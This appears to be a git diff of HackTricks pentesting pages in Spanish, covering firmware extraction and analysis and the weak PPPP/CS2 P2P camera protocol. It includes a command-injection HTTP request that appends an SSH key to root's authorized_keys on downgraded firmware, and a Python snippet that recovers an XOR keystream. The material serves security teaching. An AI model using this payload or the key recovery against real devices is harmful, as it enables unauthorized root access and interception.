- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
- [DomainTools SecuritySnacks – ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
- [Socket.IO](https://socket.io)
{{#include ../../banners/hacktricks-training.md}}

194
src/hardware-physical-access/firmware-analysis/README.md
View File

@ -1,4 +1,4 @@
# Análisis de Firmware
# Análisis de firmware
{{#include ../../banners/hacktricks-training.md}}
@ -6,44 +6,50 @@
### Recursos relacionados
{{#ref}}
synology-encrypted-archive-decryption.md
{{#endref}}
El firmware es un software esencial que permite a los dispositivos operar correctamente al gestionar y facilitar la comunicación entre los componentes de hardware y el software con el que los usuarios interactúan. Se almacena en memoria permanente, asegurando que el dispositivo pueda acceder a instrucciones vitales desde el momento en que se enciende, lo que lleva al lanzamiento del sistema operativo. Examinar y potencialmente modificar el firmware es un paso crítico para identificar vulnerabilidades de seguridad.
{{#ref}}
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
## **Recolección de Información**
**Recolección de información** es un paso inicial crítico para entender la composición de un dispositivo y las tecnologías que utiliza. Este proceso implica recopilar datos sobre:
El firmware es un software esencial que permite que los dispositivos funcionen correctamente gestionando y facilitando la comunicación entre los componentes de hardware y el software con el que interactúan los usuarios. Se almacena en memoria permanente, asegurando que el dispositivo pueda acceder a instrucciones vitales desde el momento en que se enciende, lo que conduce al arranque del sistema operativo. Examinar y, potencialmente, modificar el firmware es un paso crítico para identificar vulnerabilidades de seguridad.
## **Recopilación de información**
**Recopilación de información** es un paso inicial crítico para comprender la composición de un dispositivo y las tecnologías que utiliza. Este proceso implica recopilar datos sobre:
- La arquitectura de la CPU y el sistema operativo que ejecuta
- Especificaciones del bootloader
- Diseño de hardware y hojas de datos
- Métricas de la base de código y ubicaciones de origen
- Disposición del hardware y datasheets
- Métricas del codebase y ubicaciones del source
- Bibliotecas externas y tipos de licencia
- Historiales de actualizaciones y certificaciones regulatorias
- Diagramas arquitectónicos y de flujo
- Evaluaciones de seguridad y vulnerabilidades identificadas
Para este propósito, las herramientas de **inteligencia de código abierto (OSINT)** son invaluables, al igual que el análisis de cualquier componente de software de código abierto disponible a través de procesos de revisión manual y automatizada. Herramientas como [Coverity Scan](https://scan.coverity.com) y [Semmle’s LGTM](https://lgtm.com/#explore) ofrecen análisis estático gratuito que se puede aprovechar para encontrar problemas potenciales.
Para este propósito, las herramientas de **open-source intelligence (OSINT)** son invaluables, al igual que el análisis de cualquier componente de software open-source disponible mediante procesos de revisión manual y automatizada. Herramientas como [Coverity Scan](https://scan.coverity.com) y [Semmle’s LGTM](https://lgtm.com/#explore) ofrecen análisis estático gratuitos que se pueden aprovechar para encontrar problemas potenciales.
## **Adquisición del Firmware**
## **Adquisición del firmware**
Obtener firmware se puede abordar a través de varios medios, cada uno con su propio nivel de complejidad:
Obtener firmware se puede abordar por diversas vías, cada una con su propio nivel de complejidad:
- **Directamente** de la fuente (desarrolladores, fabricantes)
- **Directamente** desde la fuente (desarrolladores, fabricantes)
- **Construyéndolo** a partir de instrucciones proporcionadas
- **Descargando** de sitios de soporte oficiales
- Utilizando consultas de **Google dork** para encontrar archivos de firmware alojados
- Accediendo al **almacenamiento en la nube** directamente, con herramientas como [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Interceptando **actualizaciones** a través de técnicas de hombre en el medio
- **Extrayendo** del dispositivo a través de conexiones como **UART**, **JTAG** o **PICit**
- **Esnifando** solicitudes de actualización dentro de la comunicación del dispositivo
- Identificando y utilizando **puntos finales de actualización codificados**
- **Volcando** desde el bootloader o la red
- **Retirando y leyendo** el chip de almacenamiento, cuando todo lo demás falla, utilizando herramientas de hardware apropiadas
- **Descargando** desde sitios de soporte oficiales
- Utilizando consultas **Google dork** para encontrar archivos de firmware alojados
- Accediendo directamente al **cloud storage**, con herramientas como [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Interceptando **updates** mediante técnicas man-in-the-middle
- **Extrayendo** del dispositivo mediante conexiones como **UART**, **JTAG** o **PICit**
- **Sniffing** de solicitudes de actualización dentro de la comunicación del dispositivo
- Identificar y usar endpoints de actualización **hardcoded**
- **Dumping** desde el bootloader o la red
- **Extraer y leer** el chip de almacenamiento, cuando todo lo demás falla, usando las herramientas hardware apropiadas
## Analizando el firmware
## Análisis del firmware
Ahora que **tienes el firmware**, necesitas extraer información sobre él para saber cómo tratarlo. Diferentes herramientas que puedes usar para eso:
```bash
@ -54,9 +60,9 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Si no encuentras mucho con esas herramientas, verifica la **entropía** de la imagen con `binwalk -E <bin>`, si la entropía es baja, entonces es poco probable que esté encriptada. Si la entropía es alta, es probable que esté encriptada (o comprimida de alguna manera).
Si no encuentras mucho con esas herramientas, verifica la **entropía** de la imagen con `binwalk -E <bin>`; si la entropía es baja, probablemente no esté cifrada. Si es alta, probablemente esté cifrada (o comprimida de alguna forma).
Además, puedes usar estas herramientas para extraer **archivos incrustados dentro del firmware**:
Además, puedes usar estas herramientas para extraer **archivos embebidos dentro del firmware**:
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@ -64,14 +70,14 @@ Además, puedes usar estas herramientas para extraer **archivos incrustados dent
O [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) para inspeccionar el archivo.
### Obtener el Sistema de Archivos
### Obtener el sistema de archivos
Con las herramientas comentadas anteriormente, como `binwalk -ev <bin>`, deberías haber podido **extraer el sistema de archivos**.\
Binwalk generalmente lo extrae dentro de una **carpeta nombrada como el tipo de sistema de archivos**, que suele ser uno de los siguientes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
Con las herramientas comentadas anteriormente como `binwalk -ev <bin>` deberías haber podido **extraer el sistema de archivos**.\
Binwalk normalmente lo extrae dentro de una **carpeta nombrada según el tipo de sistema de archivos**, que suele ser uno de los siguientes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Extracción Manual del Sistema de Archivos
#### Extracción manual del sistema de archivos
A veces, binwalk **no tendrá el byte mágico del sistema de archivos en sus firmas**. En estos casos, usa binwalk para **encontrar el desplazamiento del sistema de archivos y tallar el sistema de archivos comprimido** del binario y **extraer manualmente** el sistema de archivos según su tipo utilizando los pasos a continuación.
A veces, binwalk **no tendrá el magic byte del sistema de archivos en sus firmas**. En esos casos, usa binwalk para **encontrar el offset del sistema de archivos y carve el sistema de archivos comprimido** del binario y **extraer manualmente** el sistema de archivos según su tipo usando los pasos abajo.
```
$ binwalk DIR850L_REVB.bin
@ -83,7 +89,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Ejecuta el siguiente **dd command** para extraer el sistema de archivos Squashfs.
Ejecute el siguiente **dd command** para extraer (carving) el sistema de archivos Squashfs.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -93,17 +99,17 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
Alternativamente, se podría ejecutar el siguiente comando.
Alternativamente, también se podría ejecutar el siguiente comando.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- Para squashfs (utilizado en el ejemplo anterior)
- Para squashfs (usado en el ejemplo anterior)
`$ unsquashfs dir.squashfs`
Los archivos estarán en el directorio "`squashfs-root`" después.
Los archivos estarán en el directorio `squashfs-root` después.
- Archivos de archivo CPIO
- Para archivos CPIO
`$ cpio -ivd --no-absolute-filenames -F <bin>`
@ -117,13 +123,13 @@ Los archivos estarán en el directorio "`squashfs-root`" después.
`$ ubidump.py <bin>`
## Análisis de Firmware
## Analizando Firmware
Una vez que se obtiene el firmware, es esencial diseccionarlo para entender su estructura y posibles vulnerabilidades. Este proceso implica utilizar varias herramientas para analizar y extraer datos valiosos de la imagen del firmware.
Una vez obtenido el firmware, es esencial diseccionarlo para entender su estructura y sus posibles vulnerabilidades. Este proceso implica utilizar diversas herramientas para analizar y extraer datos valiosos de la imagen del firmware.
### Herramientas de Análisis Inicial
### Herramientas de análisis iniciales
Se proporciona un conjunto de comandos para la inspección inicial del archivo binario (denominado `<bin>`). Estos comandos ayudan a identificar tipos de archivos, extraer cadenas, analizar datos binarios y entender los detalles de particiones y sistemas de archivos:
Se proporciona un conjunto de comandos para la inspección inicial del archivo binario (denominado `<bin>`). Estos comandos ayudan a identificar tipos de archivo, extraer strings, analizar datos binarios y comprender los detalles de particiones y sistemas de archivos:
```bash
file <bin>
strings -n8 <bin>
@ -132,51 +138,51 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Para evaluar el estado de cifrado de la imagen, se verifica la **entropía** con `binwalk -E <bin>`. Una baja entropía sugiere una falta de cifrado, mientras que una alta entropía indica posible cifrado o compresión.
Para evaluar el estado de cifrado de la imagen, se verifica la **entropía** con `binwalk -E <bin>`. Una entropía baja sugiere ausencia de cifrado, mientras que una entropía alta indica posible cifrado o compresión.
Para extraer **archivos incrustados**, se recomiendan herramientas y recursos como la documentación de **file-data-carving-recovery-tools** y **binvis.io** para la inspección de archivos.
Para extraer **embedded files**, se recomiendan herramientas y recursos como la documentación **file-data-carving-recovery-tools** y **binvis.io** para la inspección de archivos.
### Extracción del Sistema de Archivos
### Extracción del filesystem
Usando `binwalk -ev <bin>`, generalmente se puede extraer el sistema de archivos, a menudo en un directorio nombrado según el tipo de sistema de archivos (por ejemplo, squashfs, ubifs). Sin embargo, cuando **binwalk** no puede reconocer el tipo de sistema de archivos debido a bytes mágicos faltantes, es necesaria la extracción manual. Esto implica usar `binwalk` para localizar el desplazamiento del sistema de archivos, seguido del comando `dd` para extraer el sistema de archivos:
Usando `binwalk -ev <bin>`, normalmente se puede extraer el filesystem, a menudo en un directorio nombrado según el tipo de filesystem (p. ej., squashfs, ubifs). Sin embargo, cuando **binwalk** no logra reconocer el tipo de filesystem debido a la ausencia de magic bytes, es necesaria la extracción manual. Esto implica usar `binwalk` para localizar el offset del filesystem, seguido del comando `dd` para extraer el filesystem:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Después, dependiendo del tipo de sistema de archivos (por ejemplo, squashfs, cpio, jffs2, ubifs), se utilizan diferentes comandos para extraer manualmente el contenido.
Después, dependiendo del tipo de sistema de archivos (p. ej., squashfs, cpio, jffs2, ubifs), se usan diferentes comandos para extraer manualmente el contenido.
### Análisis del Sistema de Archivos
### Filesystem Analysis
Con el sistema de archivos extraído, comienza la búsqueda de fallos de seguridad. Se presta atención a demonios de red inseguros, credenciales codificadas, puntos finales de API, funcionalidades del servidor de actualizaciones, código no compilado, scripts de inicio y binarios compilados para análisis fuera de línea.
Con el sistema de archivos extraído, comienza la búsqueda de fallos de seguridad. Se presta atención a daemons de red inseguros, credenciales hardcoded, endpoints de API, funcionalidades del servidor de actualizaciones, código sin compilar, scripts de inicio y binarios compilados para análisis dinámico u offline.
**Ubicaciones clave** y **elementos** a inspeccionar incluyen:
- **etc/shadow** y **etc/passwd** para credenciales de usuario
- **etc/shadow** and **etc/passwd** para credenciales de usuario
- Certificados y claves SSL en **etc/ssl**
- Archivos de configuración y scripts en busca de vulnerabilidades potenciales
- Binarios incrustados para un análisis más profundo
- Servidores web y binarios comunes de dispositivos IoT
- Binarios embebidos para análisis adicional
- Servidores web y binarios comunes en dispositivos IoT
Varias herramientas ayudan a descubrir información sensible y vulnerabilidades dentro del sistema de archivos:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) y [**Firmwalker**](https://github.com/craigz28/firmwalker) para la búsqueda de información sensible
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) para un análisis exhaustivo del firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) y [**EMBA**](https://github.com/e-m-b-a/emba) para análisis estático y dinámico
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) para análisis integral de firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), y [**EMBA**](https://github.com/e-m-b-a/emba) para análisis estático y dinámico
### Comprobaciones de Seguridad en Binarios Compilados
### Security Checks on Compiled Binaries
Tanto el código fuente como los binarios compilados encontrados en el sistema de archivos deben ser examinados en busca de vulnerabilidades. Herramientas como **checksec.sh** para binarios de Unix y **PESecurity** para binarios de Windows ayudan a identificar binarios no protegidos que podrían ser explotados.
Tanto el código fuente como los binarios compilados encontrados en el sistema de archivos deben ser escrutados en busca de vulnerabilidades. Herramientas como **checksec.sh** para binarios Unix y **PESecurity** para binarios Windows ayudan a identificar binarios sin protecciones que podrían explotarse.
## Emulando Firmware para Análisis Dinámico
## Emulating Firmware for Dynamic Analysis
El proceso de emular firmware permite un **análisis dinámico** ya sea del funcionamiento de un dispositivo o de un programa individual. Este enfoque puede encontrar desafíos con dependencias de hardware o arquitectura, pero transferir el sistema de archivos raíz o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales.
El proceso de emular firmware permite el **análisis dinámico** ya sea del funcionamiento de un dispositivo o de un programa individual. Este enfoque puede encontrar desafíos debido a dependencias de hardware o arquitectura, pero transferir el root filesystem o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales.
### Emulando Binarios Individuales
### Emulating Individual Binaries
Para examinar programas individuales, es crucial identificar el endianness y la arquitectura de CPU del programa.
Para examinar programas individuales, es crucial identificar la endianness y la arquitectura CPU del programa.
#### Ejemplo con Arquitectura MIPS
#### Example with MIPS Architecture
Para emular un binario de arquitectura MIPS, se puede usar el comando:
```bash
@ -188,63 +194,63 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
```
Para MIPS (big-endian), se utiliza `qemu-mips`, y para binarios little-endian, la elección sería `qemu-mipsel`.
#### Emulación de Arquitectura ARM
#### ARM Architecture Emulation
Para binarios ARM, el proceso es similar, utilizando el emulador `qemu-arm` para la emulación.
### Emulación de Sistema Completo
### Full System Emulation
Herramientas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) y otras, facilitan la emulación completa de firmware, automatizando el proceso y ayudando en el análisis dinámico.
Herramientas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), y otras, facilitan la emulación completa del firmware, automatizando el proceso y ayudando en el análisis dinámico.
## Análisis Dinámico en Práctica
## Dynamic Analysis in Practice
En esta etapa, se utiliza un entorno de dispositivo real o emulado para el análisis. Es esencial mantener acceso a la shell del sistema operativo y al sistema de archivos. La emulación puede no imitar perfectamente las interacciones de hardware, lo que requiere reinicios ocasionales de la emulación. El análisis debe revisar el sistema de archivos, explotar páginas web y servicios de red expuestos, y explorar vulnerabilidades del bootloader. Las pruebas de integridad del firmware son críticas para identificar posibles vulnerabilidades de puerta trasera.
En esta etapa se utiliza un entorno de dispositivo real o emulado para el análisis. Es esencial mantener acceso a shell del OS y al sistema de ficheros. La emulación puede no reproducir perfectamente las interacciones con el hardware, lo que requerirá reinicios ocasionales de la emulación. El análisis debe revisar el sistema de ficheros, explotar páginas web y servicios de red expuestos, y explorar vulnerabilidades del bootloader. Las pruebas de integridad del firmware son críticas para identificar posibles puertas traseras.
## Técnicas de Análisis en Tiempo de Ejecución
## Runtime Analysis Techniques
El análisis en tiempo de ejecución implica interactuar con un proceso o binario en su entorno operativo, utilizando herramientas como gdb-multiarch, Frida y Ghidra para establecer puntos de interrupción e identificar vulnerabilidades a través de fuzzing y otras técnicas.
El análisis en tiempo de ejecución implica interactuar con un proceso o binario en su entorno de ejecución, usando herramientas como gdb-multiarch, Frida y Ghidra para establecer breakpoints e identificar vulnerabilidades mediante fuzzing y otras técnicas.
## Explotación Binaria y Prueba de Concepto
## Binary Exploitation and Proof-of-Concept
Desarrollar un PoC para vulnerabilidades identificadas requiere un profundo entendimiento de la arquitectura objetivo y programación en lenguajes de bajo nivel. Las protecciones de tiempo de ejecución en sistemas embebidos son raras, pero cuando están presentes, técnicas como Return Oriented Programming (ROP) pueden ser necesarias.
Desarrollar un PoC para vulnerabilidades identificadas requiere un profundo conocimiento de la arquitectura objetivo y programación en lenguajes de bajo nivel. Las protecciones en tiempo de ejecución para binarios en sistemas embebidos son raras, pero cuando existen, pueden ser necesarias técnicas como Return Oriented Programming (ROP).
## Sistemas Operativos Preparados para Análisis de Firmware
## Prepared Operating Systems for Firmware Analysis
Sistemas operativos como [AttifyOS](https://github.com/adi0x90/attifyos) y [EmbedOS](https://github.com/scriptingxss/EmbedOS) proporcionan entornos preconfigurados para pruebas de seguridad de firmware, equipados con las herramientas necesarias.
## Sistemas Operativos Preparados para Analizar Firmware
## Prepared OSs to analyze Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS es una distribución destinada a ayudar a realizar evaluaciones de seguridad y pruebas de penetración de dispositivos de Internet de las Cosas (IoT). Te ahorra mucho tiempo al proporcionar un entorno preconfigurado con todas las herramientas necesarias cargadas.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo de pruebas de seguridad embebido basado en Ubuntu 18.04 precargado con herramientas de pruebas de seguridad de firmware.
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS es una distro destinada a ayudarte a realizar security assessment and penetration testing de dispositivos Internet of Things (IoT). Te ahorra mucho tiempo al proporcionar un entorno preconfigurado con todas las herramientas necesarias cargadas.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo para embedded security testing basado en Ubuntu 18.04 precargado con herramientas para firmware security testing.
## Ataques de Downgrade de Firmware y Mecanismos de Actualización Inseguros
## Firmware Downgrade Attacks & Insecure Update Mechanisms
Incluso cuando un proveedor implementa verificaciones de firma criptográfica para imágenes de firmware, **la protección contra retrocesos de versión (downgrade) se omite con frecuencia**. Cuando el bootloader o el recovery-loader solo verifica la firma con una clave pública embebida pero no compara la *versión* (o un contador monótono) de la imagen que se está flasheando, un atacante puede instalar legítimamente un **firmware más antiguo y vulnerable que aún tiene una firma válida** y así reintroducir vulnerabilidades corregidas.
Incluso cuando un proveedor implementa verificaciones de firma criptográfica para imágenes de firmware, **la protección contra version rollback (downgrade) suele omitirse**. Cuando el boot- o recovery-loader solo verifica la firma con una clave pública embebida pero no compara la *versión* (o un contador monótono) de la imagen que se está flasheando, un atacante puede instalar legítimamente un **firmware antiguo y vulnerable que todavía posee una firma válida** y así reintroducir vulnerabilidades parcheadas.
Flujo de trabajo típico del ataque:
Typical attack workflow:
1. **Obtener una imagen firmada más antigua**
* Obtenerla del portal de descarga pública del proveedor, CDN o sitio de soporte.
* Extraerla de aplicaciones móviles/de escritorio complementarias (por ejemplo, dentro de un APK de Android bajo `assets/firmware/`).
* Recuperarla de repositorios de terceros como VirusTotal, archivos de Internet, foros, etc.
2. **Subir o servir la imagen al dispositivo** a través de cualquier canal de actualización expuesto:
* Interfaz web, API de aplicación móvil, USB, TFTP, MQTT, etc.
* Muchos dispositivos IoT de consumo exponen puntos finales HTTP(S) *no autenticados* que aceptan blobs de firmware codificados en Base64, los decodifican del lado del servidor y activan la recuperación/actualización.
3. Después del downgrade, explotar una vulnerabilidad que fue corregida en la versión más nueva (por ejemplo, un filtro de inyección de comandos que se agregó más tarde).
4. Opcionalmente, flashear la imagen más reciente de nuevo o deshabilitar actualizaciones para evitar detección una vez que se obtiene persistencia.
1. **Obtain an older signed image**
* Grab it from the vendor’s public download portal, CDN or support site.
* Extract it from companion mobile/desktop applications (e.g. inside an Android APK under `assets/firmware/`).
* Retrieve it from third-party repositories such as VirusTotal, Internet archives, forums, etc.
2. **Upload or serve the image to the device** via any exposed update channel:
* Web UI, mobile-app API, USB, TFTP, MQTT, etc.
* Many consumer IoT devices expose *unauthenticated* HTTP(S) endpoints that accept Base64-encoded firmware blobs, decode them server-side and trigger recovery/upgrade.
3. After the downgrade, exploit a vulnerability that was patched in the newer release (for example a command-injection filter that was added later).
4. Optionally flash the latest image back or disable updates to avoid detection once persistence is gained.
### Ejemplo: Inyección de Comandos Después del Downgrade
### Example: Command Injection After Downgrade
```http
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
En el firmware vulnerable (degradado), el parámetro `md5` se concatena directamente en un comando de shell sin sanitización, lo que permite la inyección de comandos arbitrarios (aquí – habilitando el acceso root basado en clave SSH). Las versiones posteriores del firmware introdujeron un filtro básico de caracteres, pero la ausencia de protección contra degradaciones hace que la solución sea irrelevante.
En el firmware vulnerable (downgraded), el parámetro `md5` se concatena directamente en un comando de shell sin sanitización, lo que permite la inyección de comandos arbitrarios (aquí — habilitando acceso root mediante clave SSH). Versiones posteriores del firmware introdujeron un filtro de caracteres básico, pero la ausencia de downgrade protection hace que la corrección sea inútil.
### Extracción de Firmware de Aplicaciones Móviles
### Extracción de firmware desde aplicaciones móviles
Muchos proveedores agrupan imágenes de firmware completas dentro de sus aplicaciones móviles complementarias para que la aplicación pueda actualizar el dispositivo a través de Bluetooth/Wi-Fi. Estos paquetes se almacenan comúnmente sin cifrar en el APK/APEX bajo rutas como `assets/fw/` o `res/raw/`. Herramientas como `apktool`, `ghidra` o incluso el simple `unzip` te permiten extraer imágenes firmadas sin tocar el hardware físico.
Muchos proveedores incluyen imágenes completas de firmware dentro de sus aplicaciones móviles complementarias para que la app pueda actualizar el dispositivo por Bluetooth/Wi‑Fi. Estos paquetes suelen almacenarse sin cifrar en el APK/APEX bajo rutas como `assets/fw/` o `res/raw/`. Herramientas como `apktool`, `ghidra` o incluso el simple `unzip` permiten extraer imágenes firmadas sin tocar el hardware físico.
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
@ -252,29 +258,29 @@ firmware_v1.3.11.490_signed.bin
```
### Lista de verificación para evaluar la lógica de actualización
* ¿Está adecuadamente protegida la *autenticación/transporte del endpoint de actualización* (TLS + autenticación)?
* ¿Compara el dispositivo **números de versión** o un **contador anti-retroceso monotónico** antes de flashear?
* ¿Se verifica la imagen dentro de una cadena de arranque seguro (por ejemplo, firmas verificadas por código ROM)?
* ¿El código de espacio de usuario realiza verificaciones adicionales de sensatez (por ejemplo, mapa de particiones permitido, número de modelo)?
* ¿Los flujos de actualización *parcial* o *de respaldo* reutilizan la misma lógica de validación?
* ¿Está el transporte/autenticación del *endpoint de actualización* adecuadamente protegido (TLS + autenticación)?
* ¿Compara el dispositivo los **números de versión** o un **monotonic anti-rollback counter** antes de flashear?
* ¿Se verifica la imagen dentro de una secure boot chain (p. ej., firmas comprobadas por ROM code)?
* ¿El userland code realiza comprobaciones adicionales de validación (p. ej., mapa de particiones permitido, número de modelo)?
* ¿Los flujos de actualización *partial* o *backup* reutilizan la misma lógica de validación?
> 💡 Si falta alguno de los anteriores, la plataforma probablemente sea vulnerable a ataques de retroceso.
> 💡 Si falta alguno de los anteriores, la plataforma probablemente sea vulnerable a rollback attacks.
## Firmware vulnerable para practicar
Para practicar la detección de vulnerabilidades en firmware, utiliza los siguientes proyectos de firmware vulnerables como punto de partida.
Para practicar el descubrimiento de vulnerabilidades en firmware, usa los siguientes proyectos de firmware vulnerables como punto de partida.
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- El Proyecto de Firmware de Router Damn Vulnerable
- The Damn Vulnerable Router Firmware Project
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- Router ARM Damn Vulnerable (DVAR)
- Damn Vulnerable ARM Router (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
- ARM-X
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
- Azeria Labs VM 2.0
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
- Dispositivo IoT Damn Vulnerable (DVID)
- Damn Vulnerable IoT Device (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## Referencias

BIN
src/images/k8studio.jpg Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 6.5 KiB

165
src/network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md Normal file
View File

@ -0,0 +1,165 @@
# 32100/UDP - Pentesting PPPP (CS2) P2P Cámaras
{{#include ../banners/hacktricks-training.md}}
## Resumen
PPPP (a.k.a. “P2P”) es una pila propietaria de conectividad de dispositivos de CS2 Network ampliamente integrada en cámaras IP de bajo costo y otros dispositivos IoT. Proporciona rendezvous, NAT traversal (UDP hole punching), un “stream” de aplicación con retransmisión “fiable” sobre UDP y un esquema de direccionamiento basado en ID, permitiendo que una app móvil/desktop alcance dispositivos en cualquier lugar de Internet con sólo conocer un device ID.
Rasgos clave relevantes para atacantes:
- Los dispositivos se registran en tres rendezvous servers operados por el vendor por cada prefijo de ID. Los clients consultan los mismos servers para encontrar la dirección externa/relay del dispositivo y luego intentan UDP hole punching. Existe fallback a relay.
- El listener por defecto del server es accesible por UDP/32100. Una sonda mínima “hello” es suficiente para fingerprint servers y algunos devices.
- Existe un blanket cipher opcional y un modo especial “CRCEnc”, pero son débiles por diseño y típicamente están deshabilitados en ecosistemas populares (p. ej., LookCam).
- El control plane suele ser comandos JSON sobre el PPPP stream y comúnmente sufre de falta de auth y bugs de seguridad de memoria.
Formato típico de device ID (familia LookCam): PREFIX-######-CCCCC, acortado en apps (p. ej., GHBB-000001-NRLXW → G000001NRLXW). Prefijos observados: BHCC ("hekai"), FHBB y GHBB ("mykj").
## Discovery and Enumeration
- Internet exposure: muchos PPPP super-nodes responden a una sonda UDP/32100. Respuestas con plaintext conocido y cadenas de error las hacen fáciles de identificar en capturas de tráfico y con scanners de Internet.
- LAN discovery: los devices a menudo responden a una búsqueda no cifrada en broadcast local. Usa el script de Paul Marrapese para enumerar:
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
Notas:
- Las apps incluyen “init strings” que contienen listas de IPs de servers ofuscadas y keys del protocolo. Estas strings son triviales de extraer de clientes Android/iOS/Windows y a menudo se reutilizan entre muchas líneas de producto.
## NAT Traversal and Transport
- Los rendezvous servers aprenden el mapping público del dispositivo mediante keepalives periódicos desde el device. Los clients consultan los servers por el mapping y luego intentan flujos UDP directos usando hole punching. Si el NAT traversal falla, el tráfico es relayed por hosts PPPP designados.
- El “stream” de aplicación implementa su propia lógica de ACK/retx sobre UDP; los bucles de retransmisión están duplicados en muchos paths de código y pueden inundar enlaces con pérdida.
## Weak “Encryption” and Key Recovery
Existen dos mecanismos ineficaces en la pila CS2:
1) Blanket cipher (opcional) – P2P_Proprietary_Encrypt
- Usualmente deshabilitado por OEMs que usan LookCam.
- La “init string” del lado de la app provee el material de key que se reduce a una key efectiva de 4 bytes (~2^32 espacio).
- Plaintext práctico conocido: los primeros 4 bytes de MSG_HELLO a UDP/32100 se conocen como F1 00 00 00. Observar un único handshake cifrado permite una recuperación o validación rápida de la key.
- Algunos mensajes de control (p. ej., MSG_REPORT_SESSION_READY) siempre están cifrados con una key hardcodeada en la librería compartida entre apps.
2) Registration “encryption” – PPPP_CRCEnc
- A pesar del nombre, esto no es CRC. Es un keystream XOR repetido fijo con una verificación de padding de 4 bytes (no autenticada).
- Las redes LookCam típicamente usan CRCEnc sólo para el registro device → server (MSG_DEV_LGN_CRC). La mayor parte del resto del tráfico permanece en plaintext.
Recuperación simple del keystream para PPPP_CRCEnc (Python):
```python
# ciphertext: captured bytes of an encrypted registration message
# known: guessed/known plaintext region (e.g., JSON or constant header)
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
# Decrypt more bytes by XORing with the repeating keystream
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
```
Desajuste del modelo de amenaza: los materiales de CS2 se centran en prevenir DoS mediante registros falsos de dispositivos, no en la confidencialidad. Esto explica la “encryption” selectiva del registro mientras que el video/control permanece opcional o en cleartext. Los servidores PPPP históricos no implementan rate limiting, lo que permite brute-force/abuse a escala.
